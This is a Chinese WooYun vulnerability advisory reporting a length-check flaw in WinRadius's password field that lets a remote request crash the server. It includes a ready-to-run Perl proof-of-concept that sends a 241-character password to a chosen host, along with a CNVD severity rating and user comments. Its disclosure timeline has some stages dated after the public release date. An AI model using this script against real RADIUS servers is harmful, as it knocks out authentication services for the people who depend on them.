当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-07740

漏洞标题:WinRadius密码选项大小验证缓冲区溢出漏洞

相关厂商:美加精英学校

漏洞作者: demonalex

提交时间:2012-05-31 13:51

修复时间:2012-07-15 13:51

公开时间:2012-07-15 13:51

漏洞类型:设计错误/逻辑缺陷

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-05-31: 细节已通知厂商并且等待厂商处理中
2012-06-05: 厂商已经确认,细节仅向厂商公开
2012-06-08: 细节向第三方安全合作伙伴开放
2012-07-30: 细节向核心白帽子及相关领域专家公开
2012-08-09: 细节向普通白帽子公开
2012-08-19: 细节向实习白帽子公开
2012-07-15: 细节向公众公开

简要描述:

WinRadius是基于标准RADIUS协议的适合国内实际情况的拨号认证、记帐、记费商业软件。
WinRadius 2009之前版本在实现上存在拒绝服务漏洞,WinRadius服务器绑定了udp端口1812和1813,但没有验证密码域的值的大小,攻击者可利用此漏洞造成服务器崩溃。

详细说明:

WinRadius 2009之前版本在实现上存在拒绝服务漏洞,WinRadius服务器绑定了udp端口1812和1813,但没有验证密码域的值的大小,在发送超过240个字符时,可造成服务器崩溃。

漏洞证明:

Vulnerability found by demonalex, PoC:
-----------------------------------------------------------
#!/usr/bin/perl
use Authen::Simple::RADIUS;
$|=1;
$host=shift || die "usage: $0 host\n";
print "Launch Attack ... \n";
$username=int(rand(10)).int(rand(10)).int(rand(10));
$password='A'x241;
$secret=int(rand(10)).int(rand(10)).int(rand(10));
$radius = Authen::Simple::RADIUS->new(
host => $host,
secret => $secret
);
$radius->authenticate( $username, $password );
print "Finish!\n";
exit(1);
-----------------------------------------------------------

修复方案:

限制密码域接收变量的长度。

版权声明:转载请注明来源 demonalex@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2012-06-05 09:00

厂商回复:

根据提交的P.O.C,CNVD确认所述情况,demonalex 在wooyun中是一个较为独立的力量,对于通用软件(本地、远程、提权、拒绝服务、缢出等)漏洞有着较为广泛的关注和研究。
对漏洞评分如下:
CVSS:(AV:R/AC:L/Au:NR/C:N/A:C/I:N/B:N) score:7.79(最高10分,高危)
即:远程攻击、攻击难度低、不需要用户认证,对可用性构成完全影响.
技术难度系数:1.1 (基于长度的畸型参数构造)
影响危害系数:1.2(一般,尚未评估影响范围,可能涉及电信行业相关单位以及企业级应用)
CNVD综合评分:7.79*1.1*1.2=10.282

最新状态:

暂无


漏洞评价:

评论

  1. 2012-05-31 14:39 | 紫梦芊 ( 普通白帽子 | Rank:138 漏洞数:9 | 踏踏实实做测试)

    win上用FreeeRadius.net的多但大多都用的linux下的radius

  2. 2012-06-05 13:22 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    请教下 溢出和内核高手怎么样练成的 经历什么阶段和步骤